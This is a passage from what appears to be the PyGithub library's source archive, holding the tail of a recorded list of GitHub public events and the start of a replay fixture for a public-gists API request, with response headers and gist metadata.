}","received_events_url":"https://api.github.com/users/MarkTiukov/received_events","type":"User","site_admin":false},"repo":{"id":252856839,"node_id":"MDEwOlJlcG9zaXRvcnkyNTI4NTY4Mzk=","name":"UMLproject","full_name":"MarkTiukov/UMLproject","private":false,"owner":{"login":"MarkTiukov","id":18705584,"node_id":"MDQ6VXNlcjE4NzA1NTg0","avatar_url":"https://avatars1.githubusercontent.com/u/18705584?v=4","gravatar_id":"","url":"https://api.github.com/users/MarkTiukov","html_url":"https://github.com/MarkTiukov","followers_url":"https://api.github.com/users/MarkTiukov/followers","following_url":"https://api.github.com/users/MarkTiukov/following{/other_user}","gists_url":"https://api.github.com/users/MarkTiukov/gists{/gist_id}","starred_url":"https://api.github.com/users/MarkTiukov/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarkTiukov/subscriptions","organizations_url":"https://api.github.com/users/MarkTiukov/orgs","repos_url":"https://api.github.com/users/MarkTiukov/repos","events_url":"https://api.github.com/users/MarkTiukov/events{/privacy}","received_events_url":"https://api.github.com/users/MarkTiukov/received_events","type":"User","site_admin":false},"html_url":"https://github.com/MarkTiukov/UMLproject","description":"For python course in MIPT","fork":false,"url":"https://api.github.com/repos/MarkTiukov/UMLproject","forks_url":"https://api.github.com/repos/MarkTiukov/UMLproject/forks","keys_url":"https://api.github.com/repos/MarkTiukov/UMLproject/keys{/key_id}","collaborators_url":"https://api.github.com/repos/MarkTiukov/UMLproject/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/MarkTiukov/UMLproject/teams","hooks_url":"https://api.github.com/repos/MarkTiukov/UMLproject/hooks","issue_events_url":"https://api.github.com/repos/MarkTiukov/UMLproject/issues/events{/number}","events_url":"https://api.github.com/repos/MarkTiukov/UMLproject/events","assignees_url":"https://api.github.com/repos/MarkTiukov/UMLproject/assignees{/user}","branches_url":"https://api.github.com/repos/MarkTiukov/UMLproject/branches{/branch}","tags_url":"https://api.github.com/repos/MarkTiukov/UMLproject/tags","blobs_url":"https://api.github.com/repos/MarkTiukov/UMLproject/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/MarkTiukov/UMLproject/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/MarkTiukov/UMLproject/git/refs{/sha}","trees_url":"https://api.github.com/repos/MarkTiukov/UMLproject/git/trees{/sha}","statuses_url":"https://api.github.com/repos/MarkTiukov/UMLproject/statuses/{sha}","languages_url":"https://api.github.com/repos/MarkTiukov/UMLproject/languages","stargazers_url":"https://api.github.com/repos/MarkTiukov/UMLproject/stargazers","contributors_url":"https://api.github.com/repos/MarkTiukov/UMLproject/contributors","subscribers_url":"https://api.github.com/repos/MarkTiukov/UMLproject/subscribers","subscription_url":"https://api.github.com/repos/MarkTiukov/UMLproject/subscription","commits_url":"https://api.github.com/repos/MarkTiukov/UMLproject/commits{/sha}","git_commits_url":"https://api.github.com/repos/MarkTiukov/UMLproject/git/commits{/sha}","comments_url":"https://api.github.com/repos/MarkTiukov/UMLproject/comments{/number}","issue_comment_url":"https://api.github.com/repos/MarkTiukov/UMLproject/issues/comments{/number}","contents_url":"https://api.github.com/repos/MarkTiukov/UMLproject/contents/{+path}","compare_url":"https://api.github.com/repos/MarkTiukov/UMLproject/compare/{base}...{head}","merges_url":"https://api.github.com/repos/MarkTiukov/UMLproject/merges","archive_url":"https://api.github.com/repos/MarkTiukov/UMLproject/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/MarkTiukov/UMLproject/downloads","issues_url":"https://api.github.com/repos/MarkTiukov/UMLproject/issues{/number}","pulls_url":"https://api.github.com/repos/MarkTiukov/UMLproject/pulls{/number}","milestones_url":"https://api.github.com/repos/MarkTiukov/UMLproject/milestones{/number}","notifications_url":"https://api.github.com/repos/MarkTiukov/UMLproject/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/MarkTiukov/UMLproject/labels{/name}","releases_url":"https://api.github.com/repos/MarkTiukov/UMLproject/releases{/id}","deployments_url":"https://api.github.com/repos/MarkTiukov/UMLproject/deployments","created_at":"2020-04-03T22:37:55Z","updated_at":"2020-04-25T11:55:31Z","pushed_at":"2020-04-25T12:05:26Z","git_url":"git://github.com/MarkTiukov/UMLproject.git","ssh_url":"git@github.com:MarkTiukov/UMLproject.git","clone_url":"https://github.com/MarkTiukov/UMLproject.git","svn_url":"https://github.com/MarkTiukov/UMLproject","homepage":null,"size":9602,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":null,"forks":0,"open_issues":1,"watchers":0,"default_branch":"master"}},"base":{"label":"MarkTiukov:master","ref":"master","sha":"5eda121e4e1fbdfb2d1644d001924950519e8c95","user":{"login":"MarkTiukov","id":18705584,"node_id":"MDQ6VXNlcjE4NzA1NTg0","avatar_url":"https://avatars1.githubusercontent.com/u/18705584?v=4","gravatar_id":"","url":"https://api.github.com/users/MarkTiukov","html_url":"https://github.com/MarkTiukov","followers_url":"https://api.github.com/users/MarkTiukov/followers","following_url":"https://api.github.com/users/MarkTiukov/following{/other_user}","gists_url":"https://api.github.com/users/MarkTiukov/gists{/gist_id}","starred_url":"https://api.github.com/users/MarkTiukov/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarkTiukov/subscriptions","organizations_url":"https://api.github.com/users/MarkTiukov/orgs","repos_url":"https://api.github.com/users/MarkTiukov/repos","events_url":"https://api.github.com/users/MarkTiukov/events{/privacy}","received_events_url":"https://api.github.com/users/MarkTiukov/received_events","type":"User","site_admin":false},"repo":{"id":252856839,"node_id":"MDEwOlJlcG9zaXRvcnkyNTI4NTY4Mzk=","name":"UMLproject","full_name":"MarkTiukov/UMLproject","private":false,"owner":{"login":"MarkTiukov","id":18705584,"node_id":"MDQ6VXNlcjE4NzA1NTg0","avatar_url":"https://avatars1.githubusercontent.com/u/18705584?v=4","gravatar_id":"","url":"https://api.github.com/users/MarkTiukov","html_url":"https://github.com/MarkTiukov","followers_url":"https://api.github.com/users/MarkTiukov/followers","following_url":"https://api.github.com/users/MarkTiukov/following{/other_user}","gists_url":"https://api.github.com/users/MarkTiukov/gists{/gist_id}","starred_url":"https://api.github.com/users/MarkTiukov/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarkTiukov/subscriptions","organizations_url":"https://api.github.com/users/MarkTiukov/orgs","repos_url":"https://api.github.com/users/MarkTiukov/repos","events_url":"https://api.github.com/users/MarkTiukov/events{/privacy}","received_events_url":"https://api.github.com/users/MarkTiukov/received_events","type":"User","site_admin":false},"html_url":"https://github.com/MarkTiukov/UMLproject","description":"For python course in MIPT","fork":false,"url":"https://api.github.com/repos/MarkTiukov/UMLproject","forks_url":"https://api.github.com/repos/MarkTiukov/UMLproject/forks","keys_url":"https://api.github.com/repos/MarkTiukov/UMLproject/keys{/key_id}","collaborators_url":"https://api.github.com/repos/MarkTiukov/UMLproject/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/MarkTiukov/UMLproject/teams","hooks_url":"https://api.github.com/repos/MarkTiukov/UMLproject/hooks","issue_events_url":"https://api.github.com/repos/MarkTiukov/UMLproject/issues/events{/number}","events_url":"https://api.github.com/repos/MarkTiukov/UMLproject/events","assignees_url":"https://api.github.com/repos/MarkTiukov/UMLproject/assignees{/user}","branches_url":"https://api.github.com/repos/MarkTiukov/UMLproject/branches{/branch}","tags_url":"https://api.github.com/repos/MarkTiukov/UMLproject/tags","blobs_url":"https://api.github.com/repos/MarkTiukov/UMLproject/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/MarkTiukov/UMLproject/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/MarkTiukov/UMLproject/git/refs{/sha}","trees_url":"https://api.github.com/repos/MarkTiukov/UMLproject/git/trees{/sha}","statuses_url":"https://api.github.com/repos/MarkTiukov/UMLproject/statuses/{sha}","languages_url":"https://api.github.com/repos/MarkTiukov/UMLproject/languages","stargazers_url":"https://api.github.com/repos/MarkTiukov/UMLproject/stargazers","contributors_url":"https://api.github.com/repos/MarkTiukov/UMLproject/contributors","subscribers_url":"https://api.github.com/repos/MarkTiukov/UMLproject/subscribers","subscription_url":"https://api.github.com/repos/MarkTiukov/UMLproject/subscription","commits_url":"https://api.github.com/repos/MarkTiukov/UMLproject/commits{/sha}","git_commits_url":"https://api.github.com/repos/MarkTiukov/UMLproject/git/commits{/sha}","comments_url":"https://api.github.com/repos/MarkTiukov/UMLproject/comments{/number}","issue_comment_url":"https://api.github.com/repos/MarkTiukov/UMLproject/issues/comments{/number}","contents_url":"https://api.github.com/repos/MarkTiukov/UMLproject/contents/{+path}","compare_url":"https://api.github.com/repos/MarkTiukov/UMLproject/compare/{base}...{head}","merges_url":"https://api.github.com/repos/MarkTiukov/UMLproject/merges","archive_url":"https://api.github.com/repos/MarkTiukov/UMLproject/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/MarkTiukov/UMLproject/downloads","issues_url":"https://api.github.com/repos/MarkTiukov/UMLproject/issues{/number}","pulls_url":"https://api.github.com/repos/MarkTiukov/UMLproject/pulls{/number}","milestones_url":"https://api.github.com/repos/MarkTiukov/UMLproject/milestones{/number}","notifications_url":"https://api.github.com/repos/MarkTiukov/UMLproject/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/MarkTiukov/UMLproject/labels{/name}","releases_url":"https://api.github.com/repos/MarkTiukov/UMLproject/releases{/id}","deployments_url":"https://api.github.com/repos/MarkTiukov/UMLproject/deployments","created_at":"2020-04-03T22:37:55Z","updated_at":"2020-04-25T11:55:31Z","pushed_at":"2020-04-25T12:05:26Z","git_url":"git://github.com/MarkTiukov/UMLproject.git","ssh_url":"git@github.com:MarkTiukov/UMLproject.git","clone_url":"https://github.com/MarkTiukov/UMLproject.git","svn_url":"https://github.com/MarkTiukov/UMLproject","homepage":null,"size":9602,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":null,"forks":0,"open_issues":1,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/MarkTiukov/UMLproject/pulls/3"},"html":{"href":"https://github.com/MarkTiukov/UMLproject/pull/3"},"issue":{"href":"https://api.github.com/repos/MarkTiukov/UMLproject/issues/3"},"comments":{"href":"https://api.github.com/repos/MarkTiukov/UMLproject/issues/3/comments"},"review_comments":{"href":"https://api.github.com/repos/MarkTiukov/UMLproject/pulls/3/comments"},"review_comment":{"href":"https://api.github.com/repos/MarkTiukov/UMLproject/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/MarkTiukov/UMLproject/pulls/3/commits"},"statuses":{"href":"https://api.github.com/repos/MarkTiukov/UMLproject/statuses/b632b4c44d7320a12047f69872d18c7a4b744173"}},"author_association":"OWNER","merged":false,"mergeable":null,"rebaseable":null,"mergeable_state":"unknown","merged_by":null,"comments":0,"review_comments":0,"maintainer_can_modify":false,"commits":6,"additions":201,"deletions":58,"changed_files":24}},"public":true,"created_at":"2020-04-25T12:06:59Z"},{"id":"12155212939","type":"MemberEvent","actor":{"id":47110078,"login":"bakassarinad","display_login":"bakassarinad","gravatar_id":"","url":"https://api.github.com/users/bakassarinad","avatar_url":"https://avatars.githubusercontent.com/u/47110078?"},"repo":{"id":258765613,"name":"bakassarinad/steam-back","url":"https://api.github.com/repos/bakassarinad/steam-back"},"payload":{"member":{"login":"kaniyeva","id":49775124,"node_id":"MDQ6VXNlcjQ5Nzc1MTI0","avatar_url":"https://avatars1.githubusercontent.com/u/49775124?v=4","gravatar_id":"","url":"https://api.github.com/users/kaniyeva","html_url":"https://github.com/kaniyeva","followers_url":"https://api.github.com/users/kaniyeva/followers","following_url":"https://api.github.com/users/kaniyeva/following{/other_user}","gists_url":"https://api.github.com/users/kaniyeva/gists{/gist_id}","starred_url":"https://api.github.com/users/kaniyeva/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kaniyeva/subscriptions","organizations_url":"https://api.github.com/users/kaniyeva/orgs","repos_url":"https://api.github.com/users/kaniyeva/repos","events_url":"https://api.github.com/users/kaniyeva/events{/privacy}","received_events_url":"https://api.github.com/users/kaniyeva/received_events","type":"User","site_admin":false},"action":"added"},"public":true,"created_at":"2020-04-25T12:06:59Z"},{"id":"12155212940","type":"CreateEvent","actor":{"id":19663096,"login":"alex-s-hong","display_login":"alex-s-hong","gravatar_id":"","url":"https://api.github.com/users/alex-s-hong","avatar_url":"https://avatars.githubusercontent.com/u/19663096?"},"repo":{"id":258766108,"name":"alex-s-hong/redefining_u-net","url":"https://api.github.com/repos/alex-s-hong/redefining_u-net"},"payload":{"ref":null,"ref_type":"repository","master_branch":"master","description":null,"pusher_type":"user"},"public":true,"created_at":"2020-04-25T12:06:59Z"},{"id":"12155212935","type":"PushEvent","actor":{"id":4000772,"login":"mcmonkey4eva","display_login":"mcmonkey4eva","gravatar_id":"","url":"https://api.github.com/users/mcmonkey4eva","avatar_url":"https://avatars.githubusercontent.com/u/4000772?"},"repo":{"id":24804721,"name":"DenizenScript/Denizen-Core","url":"https://api.github.com/repos/DenizenScript/Denizen-Core"},"payload":{"push_id":4974220190,"size":1,"distinct_size":1,"ref":"refs/heads/master","head":"fdce36b22948194ab4d66f1d1635da2fdc224ec1","before":"4f304e87fddb67f015fda3e86e82cef41f733715","commits":[{"sha":"fdce36b22948194ab4d66f1d1635da2fdc224ec1","author":{"email":"agoodwin@freneticllc.com","name":"Alex 'mcmonkey' Goodwin"},"message":"fix listtag duplicate for flags","distinct":true,"url":"https://api.github.com/repos/DenizenScript/Denizen-Core/commits/fdce36b22948194ab4d66f1d1635da2fdc224ec1"}]},"public":true,"created_at":"2020-04-25T12:06:59Z","org":{"id":8698408,"login":"DenizenScript","gravatar_id":"","url":"https://api.github.com/orgs/DenizenScript","avatar_url":"https://avatars.githubusercontent.com/u/8698408?"}},{"id":"12155212931","type":"PushEvent","actor":{"id":1979751,"login":"macario1983","display_login":"macario1983","gravatar_id":"","url":"https://api.github.com/users/macario1983","avatar_url":"https://avatars.githubusercontent.com/u/1979751?"},"repo":{"id":258764362,"name":"macario1983/TrabalhoOrdenacao","url":"https://api.github.com/repos/macario1983/TrabalhoOrdenacao"},"payload":{"push_id":4974220188,"size":1,"distinct_size":1,"ref":"refs/heads/master","head":"1add1c120aca3e092161055a5e2f5ff8a8e6463a","before":"b85ec47caf70d3df6c353336a8090316e4bf86b5","commits":[{"sha":"1add1c120aca3e092161055a5e2f5ff8a8e6463a","author":{"email":"diego_macario@hotmail.com","name":"Diego Macario"},"message":"Sincronizando com o repositorio o conteudo local","distinct":true,"url":"https://api.github.com/repos/macario1983/TrabalhoOrdenacao/commits/1add1c120aca3e092161055a5e2f5ff8a8e6463a"}]},"public":true,"created_at":"2020-04-25T12:06:59Z"},{"id":"12155212933","type":"CreateEvent","actor":{"id":24916573,"login":"vandeilsonmenezes","display_login":"vandeilsonmenezes","gravatar_id":"","url":"https://api.github.com/users/vandeilsonmenezes","avatar_url":"https://avatars.githubusercontent.com/u/24916573?"},"repo":{"id":258766109,"name":"vandeilsonmenezes/vandeilsonmenezes.github.io","url":"https://api.github.com/repos/vandeilsonmenezes/vandeilsonmenezes.github.io"},"payload":{"ref":null,"ref_type":"repository","master_branch":"master","description":"tecblog","pusher_type":"user"},"public":true,"created_at":"2020-04-25T12:06:59Z"},{"id":"12155212934","type":"CreateEvent","actor":{"id":49804688,"login":"blake-m","display_login":"blake-m","gravatar_id":"","url":"https://api.github.com/users/blake-m","avatar_url":"https://avatars.githubusercontent.com/u/49804688?"},"repo":{"id":258765798,"name":"blake-m/coronascraping","url":"https://api.github.com/repos/blake-m/coronascraping"},"payload":{"ref":"master","ref_type":"branch","master_branch":"master","description":null,"pusher_type":"user"},"public":true,"created_at":"2020-04-25T12:06:59Z"},{"id":"12155212932","type":"CreateEvent","actor":{"id":47148648,"login":"svc-software-factory","display_login":"svc-software-factory","gravatar_id":"","url":"https://api.github.com/users/svc-software-factory","avatar_url":"https://avatars.githubusercontent.com/u/47148648?"},"repo":{"id":197735461,"name":"adeo-gitlab/sync-github-gitlab-5","url":"https://api.github.com/repos/adeo-gitlab/sync-github-gitlab-5"},"payload":{"ref":"2020-04-25_12-06-47_984_scenario1","ref_type":"branch","master_branch":"master","description":null,"pusher_type":"user"},"public":true,"created_at":"2020-04-25T12:06:59Z","org":{"id":52697831,"login":"adeo-gitlab","gravatar_id":"","url":"https://api.github.com/orgs/adeo-gitlab","avatar_url":"https://avatars.githubusercontent.com/u/52697831?"}},{"id":"12155212929","type":"PushEvent","actor":{"id":60384008,"login":"shoakhan-blk","display_login":"shoakhan-blk","gravatar_id":"","url":"https://api.github.com/users/shoakhan-blk","avatar_url":"https://avatars.githubusercontent.com/u/60384008?"},"repo":{"id":253687908,"name":"shoakhan-blk/jenkins-test","url":"https://api.github.com/repos/shoakhan-blk/jenkins-test"},"payload":{"push_id":4974220189,"size":1,"distinct_size":1,"ref":"refs/heads/master","head":"877025b9ae96bc34a96d620114a1be2e103bbffe","before":"63d1d7d332c542e5b01adaec06e2ae7e537f1887","commits":[{"sha":"877025b9ae96bc34a96d620114a1be2e103bbffe","author":{"email":"60384008+shoakhan-blk@users.noreply.github.com","name":"Shoaib"},"message":"Update jenkins-timeout.groovy","distinct":true,"url":"https://api.github.com/repos/shoakhan-blk/jenkins-test/commits/877025b9ae96bc34a96d620114a1be2e103bbffe"}]},"public":true,"created_at":"2020-04-25T12:06:59Z"},{"id":"12155212927","type":"PushEvent","actor":{"id":41898282,"login":"github-actions[bot]","display_login":"github-actions","gravatar_id":"","url":"https://api.github.com/users/github-actions[bot]","avatar_url":"https://avatars.githubusercontent.com/u/41898282?"},"repo":{"id":247759965,"name":"montanaflynn/covid-19","url":"https://api.github.com/repos/montanaflynn/covid-19"},"payload":{"push_id":4974220184,"size":1,"distinct_size":1,"ref":"refs/heads/master","head":"70c30c8298a6b62339ca84cd86642e350265dd78","before":"09b7bae7f3aa5df631122ab962cc68668d51d085","commits":[{"sha":"70c30c8298a6b62339ca84cd86642e350265dd78","author":{"email":"action@github.com","name":"GitHub Action"},"message":"Update current data","distinct":true,"url":"https://api.github.com/repos/montanaflynn/covid-19/commits/70c30c8298a6b62339ca84cd86642e350265dd78"}]},"public":true,"created_at":"2020-04-25T12:06:59Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetGists.txt0000644000175100001660000034614214756101563022603 0ustar00runnerdockerhttps GET api.github.com None /gists/public {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '28676'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"5b610d3d5b133b2a973f55c3a0899707"'), ('date', 'Sat, 19 May 2012 06:25:49 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-19T06:25:16Z","url":"https://api.github.com/gists/2729695","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729695.git","git_push_url":"git@gist.github.com:2729695.git","files":{"pressman.md":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729695/3b3f0a11f4f4089556fbf2f549a5948140629a51/pressman.md","size":111,"filename":"pressman.md","language":"Markdown"}},"html_url":"https://gist.github.com/2729695","user":{"url":"https://api.github.com/users/kombomilk","gravatar_id":"d973fbfbdcf92509859d80885dfa74df","login":"kombomilk","id":1652697,"avatar_url":"https://secure.gravatar.com/avatar/d973fbfbdcf92509859d80885dfa74df?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"","created_at":"2012-05-19T06:25:16Z","id":"2729695"},{"updated_at":"2012-05-19T06:20:20Z","url":"https://api.github.com/gists/2729656","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729656.git","git_push_url":"git@gist.github.com:2729656.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729656/e154088fb07f2b6982a6ca4c86c3ae025325db81/gistfile1.txt","size":401,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2729656","user":{"url":"https://api.github.com/users/jeremytregunna","gravatar_id":"5296d70606ba2ff86311c1cef0c92699","login":"jeremytregunna","id":261615,"avatar_url":"https://secure.gravatar.com/avatar/5296d70606ba2ff86311c1cef0c92699?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"Sid example, maybe? (Grammar test)","created_at":"2012-05-19T06:20:20Z","id":"2729656"},{"updated_at":"2012-05-19T06:15:36Z","url":"https://api.github.com/gists/2729597","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729597.git","git_push_url":"git@gist.github.com:2729597.git","files":{"gistfile1.cpp":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729597/46a80be6ab3c2647e85eea7a4d46f6c66c85e571/gistfile1.cpp","size":660,"filename":"gistfile1.cpp","language":"C++"}},"html_url":"https://gist.github.com/2729597","user":{"url":"https://api.github.com/users/rpwll","gravatar_id":"2e3325fbe0f268a5ac99e0163066bf9c","login":"rpwll","id":320910,"avatar_url":"https://secure.gravatar.com/avatar/2e3325fbe0f268a5ac99e0163066bf9c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"","created_at":"2012-05-19T06:15:36Z","id":"2729597"},{"updated_at":"2012-05-19T06:13:04Z","url":"https://api.github.com/gists/2729584","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729584.git","git_push_url":"git@gist.github.com:2729584.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729584/6873ef952676bb4decf8d5e9d543c23b9429f150/gistfile1.txt","size":1854,"filename":"gistfile1.txt","language":"Text"},"main.js":{"type":"application/javascript","raw_url":"https://gist.github.com/raw/2729584/9702c5fa1deb972bb314c69645e9cac90769a591/main.js","size":10466,"filename":"main.js","language":"JavaScript"}},"html_url":"https://gist.github.com/2729584","user":{"url":"https://api.github.com/users/jimklo","gravatar_id":"03408acdcc9796a9682ece76481c83e4","login":"jimklo","id":588760,"avatar_url":"https://secure.gravatar.com/avatar/03408acdcc9796a9682ece76481c83e4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"BrowserID login error","created_at":"2012-05-19T06:13:04Z","id":"2729584"},{"updated_at":"2012-05-19T06:11:49Z","url":"https://api.github.com/gists/2729569","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729569.git","git_push_url":"git@gist.github.com:2729569.git","files":{"my_struct.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2729569/b562f236b4c182b89787724b028f3437e9e7e784/my_struct.rb","size":343,"filename":"my_struct.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2729569","user":{"url":"https://api.github.com/users/mdaisuke","gravatar_id":"22f8f3be7207c5e2bbf090b805442f57","login":"mdaisuke","id":122267,"avatar_url":"https://secure.gravatar.com/avatar/22f8f3be7207c5e2bbf090b805442f57?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":null,"created_at":"2012-05-19T06:11:49Z","id":"2729569"},{"updated_at":"2012-05-19T06:09:34Z","url":"https://api.github.com/gists/2729554","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729554.git","git_push_url":"git@gist.github.com:2729554.git","files":{"lazy.pl":{"type":"application/perl","raw_url":"https://gist.github.com/raw/2729554/3d3546064cef9bf18c8cc0521e8253277958db0b/lazy.pl","size":110,"filename":"lazy.pl","language":"Perl"},"not-so-lazy.pl":{"type":"application/perl","raw_url":"https://gist.github.com/raw/2729554/760359c4f7327b73431272d9b2df4e093c489ff4/not-so-lazy.pl","size":391,"filename":"not-so-lazy.pl","language":"Perl"}},"html_url":"https://gist.github.com/2729554","user":{"url":"https://api.github.com/users/RsrchBoy","gravatar_id":"ffa68a092e250fa39e9680419592aa6e","login":"RsrchBoy","id":59620,"avatar_url":"https://secure.gravatar.com/avatar/ffa68a092e250fa39e9680419592aa6e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"Cheap caching with AutoDestruct","created_at":"2012-05-19T06:09:34Z","id":"2729554"},{"updated_at":"2012-05-19T06:07:29Z","url":"https://api.github.com/gists/2729543","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729543.git","git_push_url":"git@gist.github.com:2729543.git","files":{"UserProviderInterface.php":{"type":"application/httpd-php","raw_url":"https://gist.github.com/raw/2729543/7922ee243c5aea1d452579d76d83268aa78661f2/UserProviderInterface.php","size":825,"filename":"UserProviderInterface.php","language":"PHP"}},"html_url":"https://gist.github.com/2729543","user":{"url":"https://api.github.com/users/coreymcmahon","gravatar_id":"87ae7cb8e1dc49819787951a8a20be30","login":"coreymcmahon","id":700486,"avatar_url":"https://secure.gravatar.com/avatar/87ae7cb8e1dc49819787951a8a20be30?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"The UserProviderInterface interface - http://www.symfonycentral.com/securing-your-web-application-with-symfony.html","created_at":"2012-05-19T06:07:29Z","id":"2729543"},{"updated_at":"2012-05-19T06:06:34Z","url":"https://api.github.com/gists/2729537","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729537.git","git_push_url":"git@gist.github.com:2729537.git","files":{"jstestdriver.conf":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729537/a71a62f73f687a3f0f55ca7faed9605bbdf0385b/jstestdriver.conf","size":2171,"filename":"jstestdriver.conf","language":null}},"html_url":"https://gist.github.com/2729537","user":{"url":"https://api.github.com/users/kyo-ago","gravatar_id":"f0ac096759bda90c77e9498f5688b40f","login":"kyo-ago","id":67387,"avatar_url":"https://secure.gravatar.com/avatar/f0ac096759bda90c77e9498f5688b40f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"jstestdriver.conf sample","created_at":"2012-05-19T06:06:34Z","id":"2729537"},{"updated_at":"2012-05-19T06:06:18Z","url":"https://api.github.com/gists/2729536","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729536.git","git_push_url":"git@gist.github.com:2729536.git","files":{"UserInterface.php":{"type":"application/httpd-php","raw_url":"https://gist.github.com/raw/2729536/deb8f57f706f79db758ad0de2ab5b0dd4243c785/UserInterface.php","size":1010,"filename":"UserInterface.php","language":"PHP"}},"html_url":"https://gist.github.com/2729536","user":{"url":"https://api.github.com/users/coreymcmahon","gravatar_id":"87ae7cb8e1dc49819787951a8a20be30","login":"coreymcmahon","id":700486,"avatar_url":"https://secure.gravatar.com/avatar/87ae7cb8e1dc49819787951a8a20be30?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"The UserInterface interface - http://www.symfonycentral.com/securing-your-web-application-with-symfony.html","created_at":"2012-05-19T06:06:18Z","id":"2729536"},{"updated_at":"2012-05-19T06:07:56Z","url":"https://api.github.com/gists/2729533","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729533.git","git_push_url":"git@gist.github.com:2729533.git","files":{"PagingControl.js":{"type":"application/javascript","raw_url":"https://gist.github.com/raw/2729533/d2492668b72c6dd9468de5dc514e8338c1aecdaf/PagingControl.js","size":1733,"filename":"PagingControl.js","language":"JavaScript"}},"html_url":"https://gist.github.com/2729533","user":{"url":"https://api.github.com/users/wgx731","gravatar_id":"7423dcf4785be28fc40bb11329c0ede4","login":"wgx731","id":494702,"avatar_url":"https://secure.gravatar.com/avatar/7423dcf4785be28fc40bb11329c0ede4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"Nice Paging control for scrollableViews for Titanium Appcelerator","created_at":"2012-05-19T06:05:20Z","id":"2729533"},{"updated_at":"2012-05-19T06:03:57Z","url":"https://api.github.com/gists/2729525","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729525.git","git_push_url":"git@gist.github.com:2729525.git","files":{"UserRepository.php":{"type":"application/httpd-php","raw_url":"https://gist.github.com/raw/2729525/6b2666271d0212ec6510720b39f3fd314c1091ac/UserRepository.php","size":1541,"filename":"UserRepository.php","language":"PHP"}},"html_url":"https://gist.github.com/2729525","user":{"url":"https://api.github.com/users/coreymcmahon","gravatar_id":"87ae7cb8e1dc49819787951a8a20be30","login":"coreymcmahon","id":700486,"avatar_url":"https://secure.gravatar.com/avatar/87ae7cb8e1dc49819787951a8a20be30?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":"Using a custom UserProviderInterface for Symfony Security - 